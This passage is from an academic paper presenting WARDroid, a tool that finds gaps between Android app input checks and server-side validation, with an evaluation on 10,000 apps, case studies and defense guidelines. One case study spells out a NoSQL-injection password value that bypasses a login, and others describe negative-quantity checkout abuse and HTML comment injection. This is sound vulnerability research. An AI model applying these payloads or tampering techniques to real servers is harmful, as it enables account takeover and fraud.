solve this problem because it lacks sufficient code coverage capabilities and would result in higher false negative rates. To further reduce false negatives, we also utilize the re- sults from Edgeminer [20] which previously solved the issue of asynchronous and implicit events and identified 19,647 additional callbacks, as opposed to only 181 identified by Flowdroid. Therefore, to enhance the coverage of WARDroid, we directly use EdgeMiner’s results and added the list to Flowdroid’s configuration files. This adds support for many popular implicit callbacks commonly observed in web request calls and HTTP libraries, such as AsyncTask and others. The resulting constraints are expressed in the format of Z3 [13], and we can then use the string solver (Z3-str [17]) to solve the constraints, or negation of the path constraint expressions. 3) UI Analysis: We also augment the program dependence graph using information extracted from the app’s resource files that define the activity layouts. First, we must identify and correlate a given input element from the XML to the event listener in the program slice. We identify and tag the ID from the activity XML files, resource files, and the manifest file. Event handlers can be directly referenced in the XML, or the listeners contain a single callback that the framework uses to initiate the corresponding event handler. We extract the constraints imposed by UI elements, and tag the corresponding event handler node in the program dependence graph. The UI elements impose additional constraints that may be defined in either of the resource XML files that configure the UI elements. WARDroid handles constraints as defined in Table I. TABLE I SAMPLE UI CONSTRAINTS Control Constraint Spinner x ∈ {spinnerOptions()} Checkbox x = {true|false} RadioGroup x ∈ {radioOptions()} TimePicker isV alidTime(x) DatePicker isV alidDate(x) android:maxLength len(x) < n android:numeric x ∈ [0 − 9] 4) Constants: Constants are defined as static strings used in the application code which represent authentication tokens that are required for each request to the web API. For example, apps that use the Amazon AWS sdk typically send the API authentication key with each request. This key is usually hard- coded in the source code. First, we use simple string searching heuristics to look for strings that resemble 64-bit encoded hash 762 keys. However, the keys are not always retrievable through such simple heuristics. To efficiently identify the constants, we leverage functionality built into Flowdroid inspired by [21]. Specifically, we use the inter-procedural constant-value propagator, which looks for static strings in static initializers or assignments. A value is considered static if the respective field or local variable is always assigned the same constant value. This fits exactly our use case. We tag these as required fields in the web request templates and augment the constraint formula to include these values. Other Required Values. Most validation logic includes simple checks for required fields. This is the most simple form of input validation. WARDroid must account for these instances. To address this challenge, we identify required parameters and their types using a simple set of heuristics. For example, when the constraint checks for a non-empty value, we tag the corresponding parameter as required. Another instance is where drop-down UI elements are used. B. HTTP Templates WARDroid’s program slicing approach effectively identifies the request/response slices in Jimple. The resulting slices only contain a small portion of all the app code, making the static analysis process very efficient. Using our extracted constraints along with additional augmentation information, we can build our HTTP templates for each web API endpoint. Algorithm 1 outlines the basic steps that we use to process a static analysis module output to generate our HTTP web API templates. The input consists of statements from a program slice S, with entry point e, and template T. The output of the algorithm is a set of constraint formulas, C, which concisely represent the web API templates. Algorithm 1 Extracting Templates 1: procedure TEMPLATE(e,S,T): 2: begin 3: Start at entry point e 4: Get list of statements (stmt) from program slice S 5: foreach stmt ∈ S do 6: if stmt = branch then 7: Get constraints C from predecessors of stmt 8: merge all constraints C to T 9: elseif stmt = function call 10: sb ← get subSlice(stmt) 11: p ← get entryPoint(sb) 12: C ← Template(p, sb, T) 13: return C. Our flow-sensitive constraint building process outputs a Z3- compliant formula as well as a regular expression that repre- sents the request template that can be replayed by replacing concrete values for regular expression values that is readable by a human analyst for manual replay as well as automated replay. WARDroid converts the constraints for URI, request tem- plate, and response objects into regular expressions form for offline analysis. Variable types are inferred using analysis and heuristics similar to [19]. The regular expression format of a variable object is then derived using its type (e.g., [0-9]+ for integers). We additionally use heuristics from [18] to convert instances of repetitions and disjunctions into the Kleene star (*) and logical OR, respectively. TABLE II EXAMPLE HTTP TEMPLATE FORMAT Method GET | POST | UPDATE | PUT | DELETE Scheme HTTP | HTTPS Domain example.com Path /api/endpoint Parameters ?id=x<,parameters> Header {HTTP Header} Body {content} We model the HTTP request templates using the HTTP pro- tocol fields that define the Method, Scheme, URI, Body, and Content parameters. Table II illustrates an example template. The constraints are encoded in the parameters, header, and body fields. VI. WEB API HIJACKING OPPORTUNITIES Uncovering Web API Hijacking opportunities is facilitated by the output of WARDroid via the resulting HTTP templates. Web API hijacking opportunities for specific API endpoints are uncovered through evaluation of inconsistencies by gener- ating requests from the request templates that violate one or more constraints expressed in the template. Since these are not confirmed attacks at this phase, we call them opportunities for exploit similar to [3]. These would only fall into the realm of actual exploitable vulnerabilities after they have been tested or shown to lead to actual violation of the security of the application or user data privacy. To evaluate the inconsistencies, we employ a string match- ing approach to automatically test sample requests to de- termine inputs that could be successful. We further built heuristics into the test module to identify the server technology from the response headers. For example, some servers will disclose the runtime framework, database, and other details that can be used to fingerprint the server. In our prototype, we use simple heuristics to identify the web server runtime (PHP, asp.net, etc) and the backend server (MySQL, mssql). These are used to suggest further inputs that utilize domain knowledge, such as generating a simple SQL injection type input value. A. Ethical Approach We were very careful in our analyses to ensure that we would not cause any harm to the API servers or the mobile apps. The scope of our work did not require an IRB from our University, similar to related works such as [3], [22]. All testing was done in a responsible manner to ensure we did not cross any ethical boundary. We used test and demo accounts where possible, and we ensured that no private data was ever saved from any successful exploit. In one case study, we 763 worked with the app developer and obtained full permission to test their API. B. Server Testing To validate web API hijacking opportunities, we need to generate concrete values from the resulting HTTP templates recovered from the apps. At this point, we do not need the app or the Android framework as we can directly replay these requests using an HTTP library. For this purpose, we built a prototype python-based module. The request generation module takes the constraints expressions from the HTTP templates and utilizes the Z3-Str constraint solver to assist in generating concrete values. 1) Generating Input: Using the extracted path constraints encoded in the request templates, we identify possible invalid input parameter values by solving constraint negations. To this end, we use Z3-Str with the regular expression extension. We additionally take the approach of NoTamper [3] to iteratively solve the constraint disjuncts rather than solving a complete negation of the entire constraint. 2) Generating Requests: The request generation module involves two tasks: (1) constructing new logical constraint formulas whose solutions correspond to potentially invalid inputs and (2) solving those formulas to build requests from templates with concrete values. Each invalid request sample would ideally test for a unique opportunity on the web server rather than repeating the same effective probe. To avoid redundant invalid requests, we con- vert the constraint formula to disjunctive normal form, and then we construct an invalid input for each disjunct while solving the rest of the formula to produce a valid input. First, we generate concrete requests that satisfy the con- straints. We generate two valid requests for each template and then replay these valid requests to the server and save the response data. Then, we compare both responses and remove all differences. This effectively removes the noise, such as date stamps, and useless server-generated values that may change across responses. The result is two response data traces that represents the similarity for responses to requests that are accepted by the server. We manually validate these to check that we are indeed comparing two responses to truly valid requests to the API. This will essentially serve as our ground truth to subsequently compare invalid requests. 3) Evaluating Responses: Lastly, we generate potentially invalid requests and collect the response for each one. For each response, we remove the elements that also occur in any of the saved valid responses for that template (sanitization). Then, we employ an edit distance algorithm to measure the distance between the sanitized responses for the invalid input and any of the responses from the valid input. Intuitively, if the two responses are similar to each other, we can infer that the invalid request was accepted by the server. To determine if invalid inputs were accepted by the server, our approach compares the sanitized server response against a response that is known to have been generated by benign (valid) inputs. Since the server’s responses are typically text- based JSON or XML or HTML, we can employ string simi- larity detection. In our case, since the responses are typically produced by a single web server, it is likely that the responses are similar, and therefore we implement a custom response comparison strategy. We evaluate the edit distance between the sanitized response (sanitized against a valid response) and another known valid response in a simple cross-validation approach. Our experiments and manual verification prove that this approach achieves decent accuracy in classifying server responses. We leave a more robust approach to future work. VII. EVALUATION We evaluated the efficacy of WARDroid on a set of 10,000 Android apps gathered from the Google Play store using the AndroZoo app crawler [23]. We identify several thousand apps that utilize web API functionality, many of which are flagged as potentially vulnerable to web API hijacking. We provide general details of specific case studies where WARDroid identified and validated web API hijacking opportunities that we further manually validated. We refrain from disclosing app identities because some are either not fixed, in the process of being fixed after our notification, or in one instance we were asked not to make any public disclosure. A. Test Apps To test our framework, we evaluated a total of 10,000 apps chosen from the top 10 categories in the Google Play market. In total, WARDroid took an average of 8 minutes to analyze each app and generated a total of 16,451 invalid requests samples for each template and twice the number of valid requests for response testing. This resulted in 4,562 apps flagged as having a potential Web API Hijacking vulnerability. We tested and validated a smaller set of 1000 apps (using 1000 randomly chosen request samples from distinct apps across our dataset). Of those, 884 invalid requests were accepted by the API server, meaning that 884 of those flagged vulnerable apps were vulnerable, representing about 88.4% of the total tested invalid request templates in the sample set. Since we only tested a single generated invalid request for each app, it does not mean that the rest of the apps were not vulnerable. We further tested the remaining 116 apps using additional request samples and found that an additional 42 apps had an API that accepted an invalid request. In total, we verified that 926/1000 apps had at least one instance where it used a vulnerable web API. Additionally, we found that 1,743 apps in our dataset generated unencrypted web API communication. While these do not strictly fall in line with our stated goal of uncovering validation inconsistencies, they nevertheless exacerbate the problem of vulnerable web API implementations. One app that has both a validation inconsistency and used an unencrypted channel is a gift card app that stores a monetary value that can be used to purchase goods from different online and offline stores. We worked with this particular developer to perform additional tests with their permission. We provide details of 764 some of these case studies below, but cannot disclose the full details for ethical reasons. Table III provides a summary of the distribution of apps and web API hijacking opportunities analyzed. Most vulnerable apps fall under the Tools category, but this turns out to be just a broad characterization of apps that perform diverse utilities. A flagged app is one for which WARDroid detected a possible validation inconsistency. A ver- ified app is one where we tested and verified the inconsistency using a generated request template. In all cases, we performed tedious inspection and ensured that no harm was done. TABLE III EVALUATION ON 10,000 APPS, AND TESTING ON 1,000 FLAGGED APPS. Category Apps Flagged Tested Verified Education 1000 201 46 42 Lifestyle 1000 398 15 12 Entertainment 1000 232 79 67 Business 1000 405 90 82 Personalization 1000 549 21 18 Tools 1000 734 303 291 Music 1000 434 22 17 Reference 1000 697 130 124 Travel 1000 224 86 85 Game 1000 688 208 188 False Positives: To further reduce false positives, WARDroid applies some heuristics to remove responses flagged as vulnerable. We use a set of negative keyword instances such as ‘Error’ and ‘Unauthorized’ to filter responses that otherwise were very similar to successful responses. We also used a threshold response data size to filter responses where the data was too minimal to evaluate a meaningful edit distance. After applying these heuristics, we manually in- spected random responses. There is an important distinction to make between false positives in the overall app, and the server validation routine. Here we are evaluating the false positives in individual server validation based on single requests. Overall, the app-level false positive is difficult to measure because even if a tested server request turns out to be a false positive, it does not guarantee that another server request for the same app will not be a true positive. For this reason, we merely flag apps as potentially vulnerable in the first instance. Note that we do not evaluate false negatives because we do not guarantee complete code coverage, especially since we utilize program slices to reduce the search space and improve the usability of our tool. However, WARDroid also generates reports for apps that include template definitions that can be further utilized by a human analyst to further test web API implementation through a manual process, especially where user authentication is required. This is noted in our limitations section. We argue, however, that our approach provides a lower bound on the total true positive web API hijacking opportunities that could be present for any given app/server combination. Efficacy. We also evaluated WARDroid against a manually generated list of web requests from an app. To accomplish this we chose a random app to test manually. We ran the app through WARDroid and found that it generated a total of 8 web request templates. We then manually ran the app through a MITM proxy and captured the web request traces while a user performed typical app tasks for 2 minutes. We counted the total number of manual templates as the unique URI/path combinations from the request trace. We found only 6 such unique pairs, confirming that our analysis can perform better than manual testing. We leave a more extensive evaluation of the efficacy in this regard to future work. Our goal was to ensure that our prototype implementation had decent efficacy to gather reliable results. B. Victim Population To estimate the potential victim population of vulnerable applications, we checked the download statistics of each app flagged with a web API hijacking opportunity. Using the app package id’s we checked the estimated download numbers for the application using a third-party service, AppBrain [24]. Using this information, we are able to get insights into the estimated potential victim population if web API hijacking opportunities can lead to actual exploits. Fig. 2. Victim population distribution among verified apps with web API hijacking problems. Figure 2 shows the download number distribution with most vulnerable applications having a user population between 100 to 1,000. Note this number is merely the lower bound of the real victim population, especially since these statistics do not consider other third-party marketplaces. This also suggests that the problem may be more prominent with less popular apps, which is an intuitive observation, although it also shows that popular apps are not excluded from this problem. This represents a total estimated victim population of over 6.47 million users from only 926 apps that displayed web API hijacking opportunities. If we consider this to be a representative sample of the total number of apps, we can assert that the potential impact is widespread, reaching many millions of users throughout the world. C. Impact Analysis In this work, we focus on validation inconsistencies that enable a number of attacks to the mobile app server back- end. Below are some of the specific attack case studies we 765 uncovered on apps that we tested. These are merely sample attacks of a wider array of possible attacks that are possible due to validation inconsistencies. We note that we also found apps that communicated over an unencrypted channel, which makes it easy for attackers to capture the required field values for a request template and replay the requests by leveraging validation inconsistencies as a means to an end. We refrain from identifying the apps and SDKs involved because some of these issues are still not fixed and we are in the process of properly notifying the app developers. The variation and potential severity and reach of these attacks illustrate the importance of this problem. We stress here that we were careful in evaluating these case studies in a safe manner without causing harm. In most cases, we used our own dummy accounts. Unauthorized data access. Many apps we analyzed in- cluded basic to non-existent authentication and authorization mechanisms to control access to their backend services. Most apps include an authentication token (key) with each request that identifies the app to the backend and authorizes access to data and services on the backend. While backend services may provide additional layers of security, we found that many apps choose to bypass these additional authentication steps. As an example of unauthorized access, we discovered an app that simply sent the user’s email address as an authen- tication and authorization token. This app had over 5,000 downloads at the time of our testing. We setup test accounts with the app owner permission and discovered that the server did not perform any authorization checks. WARDroid identified the email address parameter constraints as imposed by the app and suggested an invalid email parameter as a test case. After coordination with the app developer team, we were given permission to test a non-production web API server that was an exact copy of their production server, but with fake test data. It turns out that the app team consisted of a small number of inexperienced developers, which is not uncommon in the mobile space. Informed by the web request template constraints, we were able to launch a SQL injection attack on the test server and retrieved a full list of all test app user data. This would allow us to access any user account on the app The root cause of this was the inconsistent validation of the email string format at the server side. Since this was a virtual money transfer app used in actual online and offline stores, our discovery had serious potential consequences. Upon further testing, we verified that the web API allowed us to freely transfer funds between two user accounts. Since working with this app team, they have fixed the validation inconsistency issue, but they asked us to remain anonymous for fear of bad publicity. This is an extreme case, but we think it is indicative of many apps on the market, especially those deployed by less experienced team. JSON-based SQL Injection. On yet another app, we uncovered a different SQL-injection vulnerability facilitated by inconsistent data validation in a login form that allows us to login as any user to an app. This is a less popular app that had only over 1 thousand downloads at the time of testing. This app sends the username and password as a JSON array data type in the form {username: $usr, password: $pwd}. WARDroid further reports that the password field is constrained by the app to only use alphanumeric values. While WARDroid does not suggest a proper invalid input, we utilize domain knowledge to test this potential inconsistency. We found that the server does not implement a similar constraint on the password and happily accepts any input as long as the JSON data is properly formatted. Subsequently, we are able to login by replacing the password parameter with the following value: ”,”$or:[{},{’1’:’1’}]. We note here that we used our own sample dummy accounts and notified the app developers of the potential problems, which has since been fixed. Shopping for Free. We discovered a problem with a popu- lar ecommerce SDK utilized by thousands of apps and online stores across the world, with millions of users. WARDroid reported a template where the constraint on the quantity field for shopping cart items disallows numbers less than 1. Naturally, a quantity zero would have no effect, but WARDroid also suggested a violating input as a negative quantity. This is disallowed by the sdk’s constraints in the app, but we discovered that it was allowed by the server because the same functionality is used to process returns and refunds, where a negative quantity is indeed valid. However, since this inconsistency exists, we can bypass the app and replay a checkout action using a negative quantity on a line item that can be manipulated to cause the checkout total to be zero dollars. We tested this on a demo store account that we created and confirmed the problem with the app developer. We note that this problem has been fixed in a new release of their SDK, although the old version still exists in production apps. Cross Platform Content Injection. On a news app with over 500,000 downloads, we discovered a problem where the mobile app allows a user to enter comments on a news article that is not properly sanitized at the server for proper formatting. We discovered that the accompanying website for the news station also displays comments entered on the mobile app, and the mobile app disallows HTML characters in the comments. WARDroid suggested that HTML characters could be accepted by the server, which would be inconsistent with the app constraints. Indeed, we were able to replay a comment posting request with HTML characters, and the server stored the values as is. This is not a problem when displaying the comment on the mobile app, as it does not render HTML. However, since the company’s website uses the same data store, and the API design requires only client apps to validate content, then the website renders the incoming comments as HTML. This is a serious problem that could cause all kinds of havoc on the website, including cross-site scripting attacks. Account DoS. On a particular health app used by millions of users around the world, WARDroid reported a constraint on the password change request that restricted the password length to 10 characters in addition to typical password con- straints. This is a popular fitness app that had over 10 million downloads at the time of testing. The server did not apply the same validation as the app and allowed us to update a password 766 to a longer string. This caused the account to get locked out of the app. While this attack may have no effect and may not be useful, since an attacker wouldn’t find much use in locking himself out of his own account, it does illustrate the pervasive nature of the types of simple inconsistencies between app input validation logic and server API validation logic. Transferring Money. WARDroid analyzed an app by a major US bank and reported a potential inconsistency in the money transfer functionality. The app restricts transfers only to connected accounts displayed in a spinner UI element. The author used two of his own disconnected accounts to test this inconsistency opportunity and was able to successfully transfer funds between his two accounts although it was not possible directly through the app or through the bank’s website. Again, this may not be of particular interest to an attacker because he may not want to transfer money out of his own account to an unknown account. However, this also shows that the inconsistency problem exists in some of the most important and critical apps used in society. This bank app that had over 10 million downloads at the time of testing. There may be a wider array of inconsistencies that could potentially be exploited, but due to ethical reasons, we are unable to test or validate other potential inconsistencies except where we can use our own account and not cause any harm. As of this writing, this problem no longer exists in the updated bank server’s API. VIII. DISCUSSION Mobile applications are a necessity in many facets of society these days. In addition to traditional service businesses offering mobile applications, such as banks, and applications already available on the web, the proliferation of Internet of Things means that many more devices have Internet connec- tivity and can be controlled from a mobile phone. Examples are home and office security systems, cars, classroom audio video equipment, home appliances (thermostats, refrigerators, televisions). It becomes very critical that the Web API end- points of these devices are properly secured from hijacking vulnerabilities. A. Defense Guidelines We attribute some of the observed problems to the shifting app architecture in the modern era where web APIs are generic service that can scale to support multiple client platforms, including web and mobile apps. Additionally, due to the enhanced capabilities of mobile devices, web service providers sometimes opt to defer validation logic to the clients, ignoring or oblivious to the subtle inconsistencies and vulnerabilities that may arise as a result. Following are some guidelines based on our findings in this work. • Never trust the client. Do not defer validation to the client side. The server must be at least as strict as the client for input validation. • The server must be prepared to handle and reject input regardless of the client. No assumptions must be made about the client. • Authentication and Authorization logic must be carefully implemented at the server side. • Client-side validation must be thoroughly tested for con- sistency with server-side validation logic. WARDroid can help in identifying potential inconsistencies. • Clients and Servers must sanitize inbound and outbound data, especially where it can be used on either a mobile or web client interchangeably. While we have focused on the problems that can arise due to inconsistent input validation logic, we believe that it will take a concerted effort and paradigm shift to address mitigation of this problem. B. Limitations Obfuscated code: Obfuscation is commonly observed in popular real-world apps. A recent study has shown that 15% of apps are obfuscated [25]. We find that many real-world apps do not obfuscate their code. Many tools, including Proguard [26], rename identifiers with semantically obscure names to make reverse engineering more difficult. WARDroid does not handle obfuscated application code, but it is included in future work. WARDroid also does not handle native code and JNI code. We consider these to be out of our scope. State Changes: Another limitation of WARDroid is that it cannot reason about state changes and values that may originate from a previous request to the API. For example, the app may request a token value from a remote server that could be included in a subsequent request. Previous works such as [21], [18] propose methodologies that can accomplish this task. WARDroid can be retrofitted with this feature to improve its accuracy. WebViews: WARDroid’s analysis is focused on native mo- bile code, and does not consider web API accesses facilitated through WebView-loaded JavaScript code in hybrid mobile apps. We use a subset of the apps from our recent work which identifies that over 90% of apps included at least one WebView [19]. In that work, we provide an approach for uncovering JavaScript Bridge functionality and semantics in hybrid mobile apps. Authentication: WARDroid also cannot evaluate requests that require user authentication unless we hard-code test credentials into the request template, such as a valid oAuth tokens. An inherent challenge with most static analysis-based systems, including WARDroid, is the inability to automatically synthesize valid authentication sessions. Some level of human intervention is necessary to overcome this limitation. C. Convergence of Web and Mobile In today’s Internet-connected mobile society, the web and mobile platforms share some common ground in the effort to provide security and privacy. Indeed, this work is inspired by previous works on the web platform such as NoTamper [3] and Waptec [7] that pursue similar goals in the context of browser- based web applications. In this work, we directly tackle an 767 important issue that emerges from the amalgamation of the web and mobile platforms. The combination of mobile and web into new complex sys- tems such as web service APIs, web-based operating system environments, and hybrid applications presents a new frontier in security and privacy research. IX. RELATED WORK We build on a number of previous works in the area of pro- gram analysis on the Android framework. We especially make use of Flowdroid [15] and Soot [11] program analysis tools. Prior applications of these tools on Android include detection of privacy leakage, malware detection, and other vulnerability detection. In this work, we utilize program analysis techniques to analyze a mobile application’s validation logic as a model of it’s backend server validation logic. Web Application Analysis. Our work is inspired by pre- vious research into parameter tampering vulnerabilities on web applications. Attacks that exploit these vulnerabilities leverage the loose coupling of web services between the client and server side. Waptec [7] and NoTamper [3] are two prominent works that automatically identify parameter tampering vulnerabilities in web applications and generate exploits for those vulnerabilities. Similarly, WARDroid uses concepts inspired by these works to analyze the inconsistencies of the loose coupling between mobile apps and their backend web API servers. SIFON [27] analyzes web APIs to determine the extent of oversharing of user information where the server sends information to the app that is never used. Other related works look at the issues that arise when webview components are used to combine the web and mobile platforms into a seamless experience. Luo et al. found several security issues that arose due to this practice [28]. NoFrak [29] analyzed a similar issue and proposed an approach to augment the security models to allow finer grained access control between mobile and web interaction. Static Analysis. This work utilizes various static analysis techniques and tools. Static analysis is often scalable since it does not have to execute the app, and can achieve higher code coverage than dynamic analysis. Previous works that use static analysis commonly reconstruct the inter-procedural control flow graph by modeling the Android app’s life-cycle. In this work, we leverage FlowDroid [15] to similarly reconstruct and extend the ICGF as an augmented program dependence graph, but our goal is slightly different than detecting data flow from source to sink. Other similar works such as Extractocol [18] and Smartgen [30] follow a similar approach and utilize Flowdroid as the basis for static analysis of apps to uncover the behavior of communications with web servers. WARDroid similarly analyzes the network behavior, but with a different goal of analyzing the validation inconsistency with the server. Protocol Reverse Engineering. Our work shares some similarities and goals with protocol reverse engineering [31], [32]. However, rather than exhaustive protocol reconstruction, our goal is more aligned with [33] with a focus on uncovering particular server-side vulnerabilities. Input Generation. Several previous works implement input data generation or fuzzing on Android applications. Intel- lidroid [34] is a hybrid dynamic-static analysis framework that analyzed event chains and can precisely identify the order or inputs to trigger a specific code path. We used several concepts from Intellidroid, especially as it relates to symbolic execution and solving constraints using Z3 libraries. We opted not to directly use Intellidroid in our approach because it is more suited to malware detection and requires Android framework instrumentation and execution in an emulator. Symbolic Execution. Symbolic execution has been widely used in many security applications on mobile applications. TriggerScope [35] uses symbolic execution and other program analysis techniques to precisely identify logic bomb triggers in Android apps. IntelliDroid is similar to our work and extracts path constraints that are used to generate app inputs that can trigger specific execution paths. We leverage many of their techniques and motivation in implementing symbolic execution to extract path constraints. App Network Traffic. Several previous works also analyze app network traffic, but not necessarily through analysis of the apps. Instead, this area of research primarily focuses on the network layer to fingerprint apps through raw packet-level network traffic inspection. FLOWR [36] tries to distinguish mobile app traffic by extracting key-value pairs from HTTP sessions at the network level. NetworkProfiler [37] uses UI- based fuzzing on Android apps to build a comprehensive network trace for a given app. X. CONCLUSION Modern mobile applications rely on web services to en- able their functionality through HTTP-based communication. Unfortunately, the disparate nature of the mobile and web platforms causes input validation inconsistencies that can lead to serious security issues. We presented WARDroid, a framework that utilizes static program analysis and symbolic execution to model input validation logic between mobile apps and their remote web API servers. WARDroid extracts and validates web API logic implementation in mobile apps and uncovers inconsistencies between the app and server logic. The uncovered inconsistencies are shown to expose serious vulnerabilities in web API servers that affect a diverse set of mobile apps. Our analysis of 10,000 apps uncovered a significant portion of apps with web API hijacking opportuni- ties that can violate user privacy and security for millions of mobile app users. The inconsistency problem is not limited to Android apps, but any client that utilizes the deployed web API services, including iOS apps, Windows apps, and web applications. This work sheds light on the existence and pervasiveness of this important ongoing research problem, and our hope is that it will motivate further research in this area. ACKNOWLEDGMENT This material is based upon work supported in part by the National Science Foundation (NSF) under Grant no. 1314823 768 and 1700544. Any opinions, findings, and conclusions or recommendations expressed in this material are those of the authors and do not necessarily reflect the views of NSF. REFERENCES [1] R. Fielding, J. Gettys, J. Mogul, H. Frystyk, L. Masinter, P. Leach, and T. Berners-Lee, “Hypertext transfer protocol–http/1.1,” Tech. Rep., 1999. [2] “OWASP Mobile Threats,” https://www.owasp.org/index.php/Projects/ OWASP Mobile Security Project - Top Ten Mobile Risks. [3] P. Bisht, T. Hinrichs, N. Skrupsky, R. Bobrowicz, and V. Venkatakrish- nan, “Notamper: automatic blackbox detection of parameter tampering opportunities in web applications,” in Proceedings of the 17th ACM conference on Computer and communications security. ACM, 2010, pp. 607–618. [4] S. Stamm, B. Sterne, and G. Markham, “Reining in the web with content security policy,” in Proceedings of the 19th international conference on World wide web. ACM, 2010, pp. 921–930. [5] K. Singh, A. Moshchuk, H. J. Wang, and W. Lee, “On the incoherencies in web browser access control policies,” in 2010 IEEE Symposium on Security and Privacy. IEEE, 2010, pp. 463–478. [6] A. Mendoza, K. Singh, and G. Gu, “What is wrecking your data plan? a measurement study of mobile web overhead,” in Computer Communications (INFOCOM), 2015 IEEE Conference on. IEEE, 2015, pp. 2740–2748. [7] P. Bisht, T. Hinrichs, N. Skrupsky, and V. Venkatakrishnan, “Waptec: whitebox analysis of web applications for parameter tampering exploit construction,” in Proceedings of the 18th ACM conference on Computer and communications security. ACM, 2011, pp. 575–586. [8] A. Sudhodanan, A. Armando, R. Carbone, L. Compagna et al., “Attack patterns for black-box security testing of multi-party web applications.” in NDSS, 2016. [9] A. Barth, C. Jackson, and J. C. Mitchell, “Robust defenses for cross- site request forgery,” in Proceedings of the 15th ACM conference on Computer and communications security. ACM, 2008, pp. 75–88. [10] R. Vallee-Rai and L. J. Hendren, “Jimple: Simplifying java bytecode for analyses and transformations,” 1998. [11] R. Vall´ee-Rai, P. Co, E. Gagnon, L. Hendren, P. Lam, and V. Sundaresan, “Soot-a java bytecode optimization framework,” in Proceedings of the 1999 conference of the Centre for Advanced Studies on Collaborative research. IBM Press, 1999, p. 13. [12] W. Enck, P. Gilbert, S. Han, V. Tendulkar, B.-G. Chun, L. P. Cox, J. Jung, P. McDaniel, and A. N. Sheth, “Taintdroid: an information- flow tracking system for realtime privacy monitoring on smartphones,” ACM Transactions on Computer Systems (TOCS), vol. 32, no. 2, p. 5, 2014. [13] L. De Moura and N. Bjørner, “Z3: An efficient smt solver,” Tools and Algorithms for the Construction and Analysis of Systems, pp. 337–340, 2008. [14] S. Arzt, S. Rasthofer, and E. Bodden, “Susi: A tool for the fully automated classification and categorization of android sources and sinks,” University of Darmstadt, Tech. Rep. TUDCS-2013-0114, 2013. [15] S. Arzt, S. Rasthofer, C. Fritz, E. Bodden, A. Bartel, J. Klein, Y. Le Traon, D. Octeau, and P. McDaniel, “Flowdroid: Precise context, flow, field, object-sensitive and lifecycle-aware taint analysis for android apps,” Acm Sigplan Notices, vol. 49, no. 6, pp. 259–269, 2014. [16] J. C. King, “Symbolic execution and program testing,” Communications of the ACM, vol. 19, no. 7, pp. 385–394, 1976. [17] Y. Zheng, X. Zhang, and V. Ganesh, “Z3-str: A z3-based string solver for web application analysis,” in Proceedings of the 2013 9th Joint Meeting on Foundations of Software Engineering. ACM, 2013, pp. 114–124. [18] H. Choi, J. Kim, H. Hong, Y. Kim, J. Lee, and D. Han, “Extractocol: Au- toatic extraction of application-level protocol behaviors for android ap- plications,” ACM SIGCOMM Computer Communication Review, vol. 45, no. 4, pp. 593–594, 2015. [19] G. Yang, A. Mendoza, J. Zhang, and G. Gu, “Precisely and scalably vetting javascript bridge in android hybrid apps,” in Proceedings of The 20th International Symposium on Research on Attacks, Intrusions and Defenses (RAID’17), September 2017. [20] Y. Cao, Y. Fratantonio, A. Bianchi, M. Egele, C. Kruegel, G. Vigna, and Y. Chen, “Edgeminer: Automatically detecting implicit control flow transitions through the android framework.” in NDSS, 2015. [21] S. Rasthofer, S. Arzt, M. Miltenberger, and E. Bodden, “Harvesting run- time values in android applications that feature anti-analysis techniques,” 2016. [22] R. Wang, S. Chen, X. Wang, and S. Qadeer, “How to shop for free online–security analysis of cashier-as-a-service based web stores,” in Security and Privacy (SP), 2011 IEEE Symposium on. IEEE, 2011, pp. 465–480. [23] K. Allix, T. F. Bissyand´e, J. Klein, and Y. Le Traon, “Androzoo: Collecting millions of android apps for the research community,” in Mining Software Repositories (MSR), 2016 IEEE/ACM 13th Working Conference on. IEEE, 2016, pp. 468–471. [24] “Appbrain android statistics,” https://www.appbrain.com//. [25] N. Viennot, E. Garcia, and J. Nieh, “A measurement study of google play,” in ACM SIGMETRICS Performance Evaluation Review, vol. 42, no. 1. ACM, 2014, pp. 221–233. [26] E. Lafortune et al., “Proguard,” h ttp://proguard. sourceforge. net, 2004. [27] W. Koch, A. Chaabane, M. Egele, W. Robertson, and E. Kirda, “Semi- automated discovery of server-based information oversharing vulnerabil- ities in android applications,” in Proceedings of the 26th ACM SIGSOFT International Symposium on Software Testing and Analysis. ACM, 2017, pp. 147–157. [28] T. Luo, H. Hao, W. Du, Y. Wang, and H. Yin, “Attacks on webview in the android system,” in Proceedings of the 27th Annual Computer Security Applications Conference. ACM, 2011, pp. 343–352. [29] S. Pooryousef and M. Amini, “Fine-grained access control for hybrid mobile applications in android using restricted paths,” in Information Security and Cryptology (ISCISC), 2016 13th International Iranian Society of Cryptology Conference on. IEEE, 2016, pp. 85–90. [30] C. Zuo and Z. Lin, “Smartgen: Exposing server urls of mobile apps with selective symbolic execution,” in Proceedings of the 26th International Conference on World Wide Web. International World Wide Web Conferences Steering Committee, 2017, pp. 867–876. [31] J. Caballero, P. Poosankam, C. Kreibich, and D. Song, “Dispatcher: Enabling active botnet infiltration using automatic protocol reverse- engineering,” in Proceedings of the 16th ACM conference on Computer and communications security. ACM, 2009, pp. 621–634. [32] P. M. Comparetti, G. Wondracek, C. Kruegel, and E. Kirda, “Prospex: Protocol specification extraction,” in Security and Privacy, 2009 30th IEEE Symposium on. IEEE, 2009, pp. 110–125. [33] G. Pellegrino and D. Balzarotti, “Toward black-box detection of logic flaws in web applications.” in NDSS, 2014. [34] M. Y. Wong and D. Lie, “Intellidroid: A targeted input generator for the dynamic analysis of android malware,” in Proceedings of the Annual Symposium on Network and Distributed System Security (NDSS), 2016. [35] Y. Fratantonio, A. Bianchi, W. Robertson, E. Kirda, C. Kruegel, and G. Vigna, “Triggerscope: Towards detecting logic bombs in android applications,” in Security and Privacy (SP), 2016 IEEE Symposium on. IEEE, 2016, pp. 377–396. [36] Q. Xu, T. Andrews, Y. Liao, S. Miskovic, Z. M. Mao, M. Baldi, and A. Nucci, “Flowr: a self-learning system for classifying mobileappli- cation traffic,” ACM SIGMETRICS Performance Evaluation Review, vol. 42, no. 1, pp. 569–570, 2014. [37] S. Dai, A. Tongaonkar, X. Wang, A. Nucci, and D. Song, “Networkpro- filer: Towards automatic fingerprinting of android apps,” in INFOCOM, 2013 Proceedings IEEE. IEEE, 2013, pp. 809–817. 769
pdf
